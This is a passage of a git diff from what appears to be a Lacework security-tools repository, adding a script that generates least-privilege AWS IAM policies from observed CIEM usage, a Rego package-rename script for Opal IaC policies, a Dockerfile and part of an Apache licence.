"######################################################################" +echo "Lacework inventory collection complete." +echo "" +echo "GCE Instances: $GCE_INSTANCES" +echo "GKE Instances: $GKE_INSTANCES" +echo "Load Balancers: $LOAD_BALANCERS" +echo "Gateways: $GATEWAYS" +echo "SQL Instances: $SQL_INSTANCES" +echo "====================" +echo "Total Resources: $(($GCE_INSTANCES + $GKE_INSTANCES + $LOAD_BALANCERS + $GATEWAYS + $SQL_INSTANCES))" diff --git a/ciem-remediations/.gitignore b/ciem-remediations/.gitignore new file mode 100644 index 0000000..e43b0f9 --- /dev/null +++ b/ciem-remediations/.gitignore @@ -0,0 +1 @@ +.DS_Store diff --git a/ciem-remediations/README.md b/ciem-remediations/README.md new file mode 100644 index 0000000..c904f40 --- /dev/null +++ b/ciem-remediations/README.md @@ -0,0 +1,344 @@ +# CIEM Remediations Tool (Policy Generator) + +## Description + +⚠️ **This tool supports AWS identities only** ⚠️ + +This is a tool which can use CIEM data from Lacework to generate a policy or set of policies reflecting only observed activity. As an example, if an AWS IAM role has entitlements to access all APIs across the ec2, s3, and kms services, but Lacework has only observed the role access a handful of individual APIs, this script will generate a custom policy which only allows access to the observed APIs. + +**WARNING:** before replacing any existing entitlements with the output from this tool, review them with the owners of the affected role. Observed entitlements does not necessarily reflect all required entitlements (ie: some APIs may only be used occasionally and we may not have record of the last time they were used.) Use this tool as a starting point!d + +**Supported Sources** +- CSV(s) downloaded from Lacework console +- ARN(s) to pull directly from Lacework API. + + +## How it works + +![how-it-works](./images/how-it-works.png) + +Lacework entitlement data for AWS is comprised of a list of identities, their granted entitlements, and historic usage data (observed via CloudTrail). Users can use the Lacework dashboard to view a list of *used* and *unused* entitlements for a given identity. To right-size an identity, you may replace existing entitlements with a custom policy containing only the *used* entitlements observed by Lacework. + +To create a custom policy for a given identity (or a single policy for a set of identities, see below), you can either run this tool against exported CSV files from the Lacework console, or provide the ARN(s) of target identity(s) directly on the command line (requires Lacework API credentials) + +### Unknown Usage Actions + +Lacework ignores certain event types which are log heavy such as Lambda invocations and S3 reads. By default if these actions exist in the entitlements for a given identity, they are added to the policy. This behavior can be controlled with the `--(no-)include-unknown-actions` CLI flag. + +The full list of actions for which usage is unknown is in [data_events.py](./data_events.py). + + +### Using with CSV files + +Export CSV files from Lacework console to a local path + +```bash +generate-policy.py /path/to/export.csv [/path/to/other-export.csv] +``` + +### Using with ARNs (requires Lacework API credentials) + +If you have a `~/.lacework.toml` configured with a default profile, it will use this by default: + +```bash +generate-policy.py arn:aws:iam:123456::role/some-role [arn:aws:iam:123456::role/some-other-role] +``` + +If you want to use a different configured profile, specify it as shown: + +```bash +export LW_PROFILE=some-profile +generate-policy.py arn:aws:iam:123456::role/some-role [arn:aws:iam:123456::role/some-other-role] +``` + +You may also specify API credentials directly +```bash +export LW_ACCOUNT="" +export LW_API_KEY="" +export LW_API_SECRET="" +export LW_SUBACCOUNT="business-unit" # (optional) +generate-policy.py arn:aws:iam:123456::role/some-role [arn:aws:iam:123456::role/some-other-role] +``` + +## Output + +The output of this tool is a JSON list of policies. By default it will echo to `STDOUT` but can be directed to a file or piped to another process as shown: + +```bash +generate-policy.py source [source] > output.csv +generate-policy.py source [source] | /some/other/tool +``` + +## AWS Maximum Policy Size Limitations + +AWS has a limitation on the number of non-whitespace characters in a policy. This tool will automatically split large policies into multiple smaller policies which can be overridden with the `--maxchars` argument. + +| Policy Type | Maximum Size | +|---|---| +| Inline Role Policy | 10,240 characters | +| Managed Policy | 6,144 characters (default) | + +To change the maximum size of a policy, use the `--maxchars` argument. + +Example: + +```bash +generate-policy.py --maxchars 10240 source [source] +``` + +## Policy splitting behaviors + +You may control the behavior for policy splitting using the `--split` argument: + +| Option | Description | +|---|---| +| `fewest-policies` (default) | Tries to generate similarly sized policies by separating into groups of services. In some scenarios a policy may contain actions from multiple services, but these will be grouped together.

Actions from a single service will never span multiple policies, unless it is too big as a standalone policy, in which case it will be separated into multiple standalone polices for that service alone. In other words, you will not see actions from multiple services spread across multiple policies containing other actions from other services. | +| `by-service` | Will create separate policies for each service. If a given service has too many actions for a single policy (defined by `maxchars`) then it will be separated into multiple policies | +| `none` | Do not split the output at all, will return a single policy regardless of `maxchars` | + +--- + +`fewest-policies` Example: + +```bash +generate-policy.py --split=fewest-policies source [source] +``` +
+ Show Output + + ```json + [ + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt611596984", + "Action": [ + "cloudtrail:DescribeTrails", + "cloudtrail:GetEventSelectors", + "firehose:ListDeliveryStreams", + "glue:GetDatabases", + "states:DescribeStateMachine", + "states:ListStateMachines", + "waf:ListWebACLs", + "waf-regional:ListWebACLs", + "wafv2:ListIPSets", + "wafv2:ListRegexPatternSets", + ...(actions populate in groups of services until maxchars is hit, then another policy begins) + ], + "Effect": "Allow", + "Resource": "*" + } + ] + }, + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt219043297", + "Action": [ + ...(continued list of actions grouped by service) + "appsync:ListDomainNames", + "appsync:ListGraphqlApis", + "config:DescribeConfigurationRecorderStatus", + "config:DescribeConfigurationRecorders", + "kinesis:ListStreams", + "kms:Decrypt", + "kms:DescribeKey", + ... + ], + "Effect": "Allow", + "Resource": "*" + }, + ] + }, + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt391922664", + "Action": [ + "sagemaker:ListActions", + "sagemaker:ListAlgorithms", + ... (large lists of actions for a single service may be split into multiple dedicated policies) + ], + "Effect": "Allow", + "Resource": "*" + } + ] + }, + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt391922664", + "Action": [ + ... (this is a continuation of previous policy) + "sagemaker:ListLabelingJobs", + "sagemaker:ListLineageGroups", + ... + ], + "Effect": "Allow", + "Resource": "*" + } + ] + }, + ...(additional policies containing groups of services continue here) + ] + ``` +
+ +--- + +`by-service` Example: + +```bash +generate-policy.py --split=by-service source [source] +``` +
+ Show Output + + ```json + [ + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt354773700", + "Action": [ + "dms:DescribeAccountAttributes", + "dms:DescribeCertificates", + ... + ], + "Effect": "Allow", + "Resource": "*"" + } + ] + }, + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt354773700", + "Action": [ + "elasticfilesystem:DescribeAccessPoints", + "elasticfilesystem:DescribeAccountPreferences", + ... + ], + "Effect": "Allow", + "Resource": "*" + } + ] + }, + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt391922664", + "Action": [ + "sagemaker:ListActions", + "sagemaker:ListAlgorithms", + ... (large lists of actions may be split into multiple policies) + ], + "Effect": "Allow", + "Resource": "*" + } + ] + }, + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt391922664", + "Action": [ + ... (this is a continuation of previous policy) + "sagemaker:ListLabelingJobs", + "sagemaker:ListLineageGroups", + ... + ], + "Effect": "Allow", + "Resource": "*" + } + ] + }, + ... (additional services continue here) + ] + ``` +
+ +--- + +`none` Example: + +```bash +generate-policy.py --split=none source [source] +``` +
+ Show Output + + ```json + [ + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "Stmt471312065", + "Action": [ + "athena:GetWorkGroup", + "athena:ListApplicationDPUSizes", + ... + "dms:DescribeAccountAttributes", + "dms:DescribeCertificates", + ... + "ec2:DescribeSnapshotAttribute", + "ec2:DescribeSnapshots", + ... (many more actions here, regardless of maxchars) + ] + } + ] + } + ] + ``` +
+ + +## Combined Policies + +This tool supports combining used entitlements from multiple sources, into a single policy / set of policies. A use case for this may be a set of roles used for multiple web services for a single application. A goal may be to consolidate all required entitlements across all services, into a single role for easier management. + +You may add many sources (CSV and API sources can be mixed) to get a single consolidated policy. + +Examples: + +```bash +generate-policy.py arn:aws:iam:123456::role/some-role arn:aws:iam:123456::role/some-other-role +generate-policy.py /path/to/some.csv /path/to/some-other.csv +generate-policy.py /path/to/some.csv arn:aws:iam:123456::role/some-role [and so on...] +``` + + +## Usage + +``` +usage: generate-policy.py [-h] [--maxchars MAXCHARS] [--split {fewest-policies,by-service,none}] source [source ...] + +Generate an IAM policy document containing observed IAM actions for a given IAM Role. + +positional arguments: + source Specify source(s). Can be local CSV files exported from Lacework, or a list of ARNs to fetch from the Lacework API + +optional arguments: + -h, --help show this help message and exit + --maxchars MAXCHARS Maximum size of a policy (does not count whitespace) + --split {fewest-policies,by-service,none} + How to handle splitting large datasets. Default is 'fewest-policies' + --include-unknown-actions, --no-include-unknown-actions + Include actions not recorded by Lacework (default: True) + +Examples: +generate-policy.py arn:aws:iam:123456::role/some-role +generate-policy.py arn:aws:iam:123456::role/some-role arn:aws:123456::role/some-other-role +generate-policy.py /path/to/some.csv /path/to/some-other.csv +generate-policy.py arn:aws:iam:123456::role/some-role --split=by-service +generate-policy.py arn:aws:iam:123456::role/some-role --no-include-unknown-actions +``` diff --git a/ciem-remediations/data_events.py b/ciem-remediations/data_events.py new file mode 100644 index 0000000..8d957ea --- /dev/null +++ b/ciem-remediations/data_events.py @@ -0,0 +1,158 @@ +# list of data events lacework does not store +# from https://github.com/lacework-dev/sgm/blob/33951f35d7a8bd3ee0dd31c92f83cc77dfb80ad2/sgm/ciem/awsactions/cloudtraildataevents.go#L11 + +data_events = [ + # Amazon DynamoDB: AWS::DynamoDB::Table + "dynamodb:BatchGetItem", + "dynamodb:BatchWriteItem", + "dynamodb:DeleteItem", + "dynamodb:GetItem", + "dynamodb:PutItem", + "dynamodb:Query", + "dynamodb:Scan", + "dynamodb:UpdateItem", + + # Amazon DynamoDB: API actions (not IAM actions) + # "dynamodb:BatchExecuteStatement" + # "dynamodb:ExecuteStatement", + # "dynamodb:ExecuteTransaction", + # "dynamodb:TransactGetItems", + # "dynamodb:TransactWriteItems", + + # Amazon DynamoDB: AWS::DynamoDB::Stream + "dynamodb:GetRecords", + "dynamodb:GetShardIterator", + + # AWS Lambda: AWS::Lambda::Function + "lambda:InvokeAsync", + "lambda:InvokeFunction", + "lambda:InvokeFunctionUrl", + + # Amazon S3: AWS::S3::Object + # Amazon S3: AWS::S3::AccessPoint + "s3:DeleteObject", + "s3:DeleteObjectTagging", + "s3:DeleteObjectVersion", + "s3:DeleteObjectVersionTagging", + "s3:GetObject", + "s3:GetObjectAcl", + "s3:GetObjectAttributes", + "s3:GetObjectLegalHold", + "s3:GetObjectRetention", + "s3:GetObjectTagging", + "s3:GetObjectTorrent", + "s3:GetObjectVersion", + "s3:GetObjectVersionAcl", + "s3:GetObjectVersionAttributes", + "s3:GetObjectVersionForReplication", + "s3:GetObjectVersionTagging", + "s3:GetObjectVersionTorrent", + "s3:PutObject", + "s3:PutObjectAcl", + "s3:PutObjectLegalHold", + "s3:PutObjectRetention", + "s3:PutObjectTagging", + "s3:PutObjectVersionAcl", + "s3:PutObjectVersionTagging", + "s3:ReplicateObject", + "s3:RestoreObject", + + # Amazon S3: AWS::S3ObjectLambda::AccessPoint + "s3-object-lambda:DeleteObject", + "s3-object-lambda:DeleteObjectTagging", + "s3-object-lambda:DeleteObjectVersion", + "s3-object-lambda:DeleteObjectVersionTagging", + "s3-object-lambda:GetObject", + "s3-object-lambda:GetObjectAcl", + "s3-object-lambda:GetObjectAttributes", + "s3-object-lambda:GetObjectLegalHold", + "s3-object-lambda:GetObjectRetention", + "s3-object-lambda:GetObjectTagging", + "s3-object-lambda:GetObjectTorrent", + "s3-object-lambda:GetObjectVersion", + "s3-object-lambda:GetObjectVersionAcl", + "s3-object-lambda:GetObjectVersionAttributes", + "s3-object-lambda:GetObjectVersionForReplication", + "s3-object-lambda:GetObjectVersionTagging", + "s3-object-lambda:GetObjectVersionTorrent", + "s3-object-lambda:PutObject", + "s3-object-lambda:PutObjectAcl", + "s3-object-lambda:PutObjectLegalHold", + "s3-object-lambda:PutObjectRetention", + "s3-object-lambda:PutObjectTagging", + "s3-object-lambda:PutObjectVersionAcl", + "s3-object-lambda:PutObjectVersionTagging", + "s3-object-lambda:ReplicateObject", + "s3-object-lambda:RestoreObject", + + # Amazon S3 on Outposts: AWS::S3Outposts::Object + "s3-outposts:DeleteObject", + "s3-outposts:DeleteObjectTagging", + "s3-outposts:DeleteObjectVersion", + "s3-outposts:DeleteObjectVersionTagging", + "s3-outposts:GetObject", + "s3-outposts:GetObjectAcl", + "s3-outposts:GetObjectAttributes", + "s3-outposts:GetObjectLegalHold", + "s3-outposts:GetObjectRetention", + "s3-outposts:GetObjectTagging", + "s3-outposts:GetObjectTorrent", + "s3-outposts:GetObjectVersion", + "s3-outposts:GetObjectVersionAcl", + "s3-outposts:GetObjectVersionAttributes", + "s3-outposts:GetObjectVersionForReplication", + "s3-outposts:GetObjectVersionTagging", + "s3-outposts:GetObjectVersionTorrent", + "s3-outposts:PutObject", + "s3-outposts:PutObjectAcl", + "s3-outposts:PutObjectLegalHold", + "s3-outposts:PutObjectRetention", + "s3-outposts:PutObjectTagging", + "s3-outposts:PutObjectVersionAcl", + "s3-outposts:PutObjectVersionTagging", + "s3-outposts:ReplicateObject", + "s3-outposts:RestoreObject", + + # AWS CloudTrail: AWS::CloudTrail::Channel + "cloudtrail-data:PutAuditEvents", + + # Amazon Cognito: AWS::Cognito::IdentityPool + "cognito-identity:GetCredentialsForIdentity", + "cognito-identity:GetId", + "cognito-identity:GetOpenIdToken", + "cognito-identity:GetOpenIdTokenForDeveloperIdentity", + "cognito-identity:UnlinkIdentity", + + # Amazon Elastic Block Store: AWS::EC2::Snapshot + "ebs:ListSnapshotBlocks", + "ebs:ListChangedBlocks", + "ebs:GetSnapshotBlock", + "ebs:PutSnapshotBlock", + + # Amazon FinSpace: AWS::FinSpace::Environment + "finspace-api:GetObject", + + # AWS Glue: AWS::Glue::Table + # AWS Glue API activity on tables that were created by Lake Formation. + + # Amazon GuardDuty: AWS::GuardDuty::Detector + # This applies to the data events generated by the security agent. + + # Amazon Kendra Intelligent Ranking: AWS::KendraRanking::ExecutionPlan + "kendra-ranking:Rescore", + + # Amazon Managed Blockchain: AWS::ManagedBlockchain::Node + # It seems like the eventNames here are 'web3_clientVersion' + # https://docs.aws.amazon.com/managed-blockchain/latest/ethereum-dev/logging-using-cloudtrail.html#ethereum-jsonrpc-logging + + # Amazon SageMaker: AWS::SageMaker::FeatureGroup + # https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-logging-using-cloudtrail.html + "sagemaker:BatchGetRecord", + "sagemaker:DeleteRecord", + "sagemaker:GetRecord", + "sagemaker:PutRecord", + + # Amazon SageMaker: AWS::SageMaker::ExperimentTrialComponent + # https://docs.aws.amazon.com/sagemaker/latest/dg/experiments-monitoring.html + "sagemaker:BatchPutMetrics", +] \ No newline at end of file diff --git a/ciem-remediations/generate-policy.py b/ciem-remediations/generate-policy.py new file mode 100755 index 0000000..b585e59 --- /dev/null +++ b/ciem-remediations/generate-policy.py @@ -0,0 +1,271 @@ +#!/usr/bin/env python3 + +# -*- coding: utf-8 -*- +""" +Script to generate an IAM policy document containing observed IAM actions for a given IAM Role. +""" + +import sys, os +import logging +import random +import json, csv +import re +import argparse + +from datetime import datetime, timedelta, timezone +from dotenv import load_dotenv +from laceworksdk import LaceworkClient + +# list of AWS API events lacework does not store. This is not available through LQL +from data_events import data_events + +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger(__name__) + +load_dotenv() + + + +def total_quantity(item): + return sum(len(sublist) for sublist in item.values()) + +def split_dict(input_dict): + group1 = {} + group2 = {} + total_group1 = 0 + total_group2 = 0 + + for key, value in input_dict.items(): + if total_group1 <= total_group2: + group1[key] = value + total_group1 += total_quantity(value) + else: + group2[key] = value + total_group2 += total_quantity(value) + + return [group1, group2] + +def recursive_sort(data): + if isinstance(data, dict): + sorted_dict = {} + for key, value in sorted(data.items()): + sorted_dict[key] = recursive_sort(value) + return sorted_dict + elif isinstance(data, list): + if len(data) > 0 and isinstance(data[0], dict): + return sorted([recursive_sort(item) for item in data]) + else: + return sorted(data) + else: + return data + + +def query_lacework(lacework_client, arn): + logger.info('Querying for used entitlements for %s...' % arn) + + query_response = lacework_client.queries.execute( + query_text = """{ + source { + LW_CE_ENTITLEMENTS + } + filter { + PRINCIPAL_ID = '%s' + } + return distinct { + SERVICE, + RESOURCE_ID, + ACTION, + LAST_USED_TIME + } + }""" % arn, + arguments = dict(StartTimeRange=start_time, EndTimeRange=end_time) + ) + + if len(query_response['data']) == 0: + logger.error("No records found for %s" % arn) + sys.exit(1) + + logger.info("Found %i records" % len(query_response['data'])) + return query_response['data'] + +def parse_csv(filename): + logger.info("Opening %s" % filename) + if not os.path.exists(filename): + logger.error(f"The file '{filename}' does not exist.") + exit(1) + csv_data = [] + with open(filename, 'r') as file: + reader = csv.DictReader(file) + for row in reader: + if row['Used'] == '0:UNUSED': + row['Used'] == None + actions = json.loads(row['Actions']) + for action in actions.keys(): + entry = { + 'SERVICE': row['Service name'], + 'RESOURCE_ID': row['Resource'], + 'ACTION': action, + 'LAST_USED_TIME': row['Used'], + } + csv_data.append(entry) + return csv_data + +def generate_policies(data, max_chars, by_service=False): + policies = [] + + # call this function for each service to get a policy for each service + if by_service: + for service, resources in data.items(): + policies += generate_policies(data={service: resources}, max_chars=max_chars) + return policies + + # initialize new policy doc + working_iam_policy = { + "Version": "2012-10-17", + "Statement": [] + } + working_data = {} + + # transform data into {resource_id: [actions]} + for service, resources in data.items(): + for resource_id, actions in resources.items(): + if resource_id not in working_data: + working_data[resource_id] = [] + working_data[resource_id] += actions + + # create statements for each resource_id + for resource_id, actions in working_data.items(): + statement = { + "Sid": "Stmt" + str(random.randint(100000000, 999999999)), # Generate random SID + "Action": actions, + "Effect": "Allow", + "Resource": resource_id + } + working_iam_policy["Statement"].append(statement) + + # max_chars == 0 means user requested no splitting + if max_chars == 0: + policies.append(working_iam_policy) + return policies + + # measure size of policy document, if too large, we need to split + # logic is: first try to split on groups of services + # if there is only one service, try to split on statements (resource_ids) + # lastly split a statement into two by dividing on actions + if len(json.dumps(working_iam_policy)) > max_chars: + if len(data.keys()) > 1: + logger.info('Policy document too large, splitting into groups of services') + split_data = split_dict(data) + for data in split_data: + policies += generate_policies(data=data, max_chars=max_chars) + else: + # need to split service in half, either by separating statements into separate policies, or splitting actions list into two policies + service = next(iter(data)) + resources = data[service] + new_data = {} + if len(resources.keys()) == 1: + logger.info('List of actions for a single service is too large, splitting actions into multiple policies') + resource_id = next(iter(resources)) + actions = resources[resource_id] + split_idx = int(len(actions) / 2) + 1 + new_data[service+'-1'] = {resource_id: actions[0:split_idx+1]} + new_data[service+'-2'] = {resource_id: actions[split_idx::]} + else: + logger.info('Too many actions for single service, attempting to split on resource id') + for resource_id, actions in resources.items(): + new_service = service+'-'+resource_id + new_data[new_service] = {resource_id: actions} + + policies += generate_policies(data=new_data, max_chars=max_chars) + + else: + policies.append(working_iam_policy) + return policies + +if __name__ == "__main__": + + parser = argparse.ArgumentParser(description="Generate an IAM policy document containing observed IAM actions for a given IAM Role.", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: +generate-policy.py arn:aws:iam:123456::role/some-role +generate-policy.py arn:aws:iam:123456::role/some-role arn:aws:123456::role/some-other-role +generate-policy.py /path/to/some.csv /path/to/some-other.csv +generate-policy.py arn:aws:iam:123456::role/some-role --split=by-service + """) + parser.add_argument("--maxchars", type=int, help="Maximum size of a policy (does not count whitespace). Default is 6,000", default=6000) + parser.add_argument("--split", type=str, help="How to handle splitting large datasets. Default is 'fewest-policies'", default='fewest-policies', choices=['fewest-policies', 'by-service', 'none']) + parser.add_argument('--include-unknown-actions', dest='include_unknown', type=bool, help="Include actions not recorded by Lacework", default=True, action=argparse.BooleanOptionalAction) + parser.add_argument('sources', type=str, metavar='source', help="Specify source(s). Can be local CSV files exported from Lacework, or a list of ARNs to fetch from the Lacework API", action='store', nargs='+') + args = parser.parse_args() + + # Build start/end times + current_time = datetime.now(timezone.utc) + start_time = current_time - timedelta(days=1) + start_time = start_time.strftime("%Y-%m-%dT%H:%M:%SZ") + end_time = current_time.strftime("%Y-%m-%dT%H:%M:%SZ") + + # Start collecting raw data + data = [] + lacework_client = None + for source in args.sources: + if re.match(r'^arn:aws:iam::\d*:.*$', source): + # Instantiate a LaceworkClient instance + if not lacework_client: + lacework_client = LaceworkClient() + data += query_lacework(lacework_client=lacework_client, arn=source) + else: + data += parse_csv(filename=source) + + logger.info("Generating policy document(s)") + + # filter out unused actions + def used_or_unknown(entry): + global unknown_count + action = entry["ACTION"] + last_used = entry["LAST_USED_TIME"] + + if last_used is None: + is_data_event = action in data_events + unknown_count += 1 if is_data_event else 0 + return args.include_unknown and is_data_event + else: + return True + + unknown_count = 0 + data = [x for x in data if used_or_unknown(x)] + + if unknown_count > 0 and args.include_unknown: + logger.info ("Found %i actions which usage is unkown. These will be included in the generated polic(ies)." % unknown_count) + + # Transform data into { service: { resource_id: [actions] } } + # This helps us later when we need to assemble properly sized policy documents + transformed_data = {} + + for entry in data: + resource_id = entry["RESOURCE_ID"] + action = entry["ACTION"] + service = entry["SERVICE"] + last_used = entry["LAST_USED_TIME"] + if service not in transformed_data: + transformed_data[service] = {} + if resource_id not in transformed_data[service]: + transformed_data[service][resource_id] = [action] + else: + if action not in transformed_data[service][resource_id]: + transformed_data[service][resource_id].append(action) + + transformed_data = recursive_sort(transformed_data) + + # Now run the recursive policy generation + if args.split == 'fewest-policies': + policies = generate_policies(data=transformed_data, max_chars=args.maxchars) + elif args.split == 'by-service': + policies = generate_policies(data=transformed_data, max_chars=args.maxchars, by_service=True) + elif args.split == 'none': + policies = generate_policies(data=transformed_data, max_chars=0) + + logger.info('Generated %i policy documents' % len(policies)) + print(json.dumps(policies, indent=2)) + if unknown_count > 0 and not args.include_unknown: + logger.warning ("Found %i actions which usage is unkown. These are not included in policy. Use --include-unknown-actions to change this behavior." % unknown_count) diff --git a/ciem-remediations/images/how-it-works.png b/ciem-remediations/images/how-it-works.png new file mode 100644 index 0000000..e315a3c Binary files /dev/null and b/ciem-remediations/images/how-it-works.png differ diff --git a/code-security/iac/update_custom_policies/README.md b/code-security/iac/update_custom_policies/README.md new file mode 100644 index 0000000..0a729f5 --- /dev/null +++ b/code-security/iac/update_custom_policies/README.md @@ -0,0 +1,36 @@ +# Update rego package names for Opal custom policies + +## Overview + +As part of improvements to Lacework's Opal engine for Infrastructure-As-Code policies; Lacework has renamed some package in the library of rego code provide in Opal. +Where previously functions were available in the `lacework` package and were available via `import data.lacework`, they are now in a `iac` package which is available via `import data.lacework.iac` + +Some example changes: +`import data.lacework` → `import data.lacework.iac` +`import data.k8s` → `import data.lacework.iac.k8s` +`lacework.resources("aws_instance")` → `iac.resources("aws_instance")` +`k8s.resources_with_pod_templates[_]` → (unchanged) + +If you currently maintain your own custom policies for IaC you may now see errors where your policy code refers to the previous package schema. +The provided script updates your policy code to use the current package names. + +## update_policies_directory.sh + +### Pre-requisites +* You should be at a workstation where you can make changes to your custom policy code + +### Usage +`./update_policies_directory.sh [policy_directory]` +e.g. `./update_policies_directory.sh policies/opal` + +### Step-by-step +* In git (or your version control) ensure that your working copy of your IaC policies has no outstanding changes. +* Run `./update_policies_directory.sh [policy_directory]` +* Use `git diff` (or the diff function of your version control) to review the changes to your code. + * Some simpler Opal policies will not reference the affected packages and will not receive any changes. +* Ensure your Lacework CLI has the latest version of Opal (at least v0.3.0) by running `lacework iac download install --name lacework-opal-releases --reinstall` + * You can confirm that Opal is at least v0.3.0 by running `lacework iac download list` - the `lacework-opal-releases` is the component to check. +* Run `lacework iac policy test -d [policy_directory]` to test the changes to your policy code. +* If you are happy with the code changes and the policy tests; commit the changes to version control. +* If you manually upload your custom policies, run `lacework iac policy upload [policy_directory]` to upload your new code. + * If you have a pipeline to upload policies when the code changes, ensure your pipeline runs. diff --git a/code-security/iac/update_custom_policies/update_policies_directory.sh b/code-security/iac/update_custom_policies/update_policies_directory.sh new file mode 100644 index 0000000..b28583b --- /dev/null +++ b/code-security/iac/update_custom_policies/update_policies_directory.sh @@ -0,0 +1,43 @@ +#!/bin/bash + +if [ -z "$1" ]; +then + echo "Usage: ${0} [policy directory] e.g. ${0} policies/opal" + exit 1 +fi + +if [ ! -d "$1" ]; +then + echo "${1} is not a directory" + exit 1 +fi + +if ! ls ${1}/*/*/policy.rego > /dev/null 2>&1; +then + echo "${1} does not contain policies (should be the directory that contains your individual policies e.g. policies/opal)" + exit 1 +fi + +if grep -q 'import data.lacework.iac' $1/*/*/policy.rego; +then + echo "${1} already has policies with the new package names - this script should not be re-applied. Revert changes to your policies if you need to run this script again." + exit 1 +fi + +sed -i.lw_tmp 's/import data.lacework/import data.lacework.iac/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/import data.arm/import data.lacework.iac.arm/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/import data.aws/import data.lacework.iac.aws/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/import data.azurerm/import data.lacework.iac.azurerm/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/import data.cfn/import data.lacework.iac.cfn/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/import data.gcp/import data.lacework.iac.gcp/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/import data.google/import data.lacework.iac.google/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/import data.k8s/import data.lacework.iac.k8s/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/lacework.allow/iac.allow/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/lacework.deny/iac.deny/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/lacework.resource/iac.resource/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/lacework.missing/iac.missing/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/lacework.input_type/iac.input_type/g' $1/*/*/policy.rego +sed -i.lw_tmp 's/lacework.input_resource_types/iac.input_resource_types/g' $1/*/*/policy.rego + +# To support both GNU and BSD sed we needed to generate some swap files, delete these now. +rm $1/*/*/*.lw_tmp \ No newline at end of file diff --git a/instance-discovery/Dockerfile b/instance-discovery/Dockerfile new file mode 100644 index 0000000..26be109 --- /dev/null +++ b/instance-discovery/Dockerfile @@ -0,0 +1,16 @@ +FROM python:3.10-slim + +RUN groupadd --gid 5000 user && useradd --home-dir /home/user --create-home --uid 5000 --gid 5000 --shell /bin/sh --skel /dev/null user +USER user + +ENV LC_ALL=C.UTF-8 +ENV LANG=C.UTF-8 + +WORKDIR /app + +COPY requirements.txt ./ +RUN pip install -r requirements.txt + +COPY instances_without_agents.py ./ + +ENTRYPOINT [ "python", "-u", "/app/instances_without_agents.py" ] diff --git a/instance-discovery/LICENSE b/instance-discovery/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/instance-discovery/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or 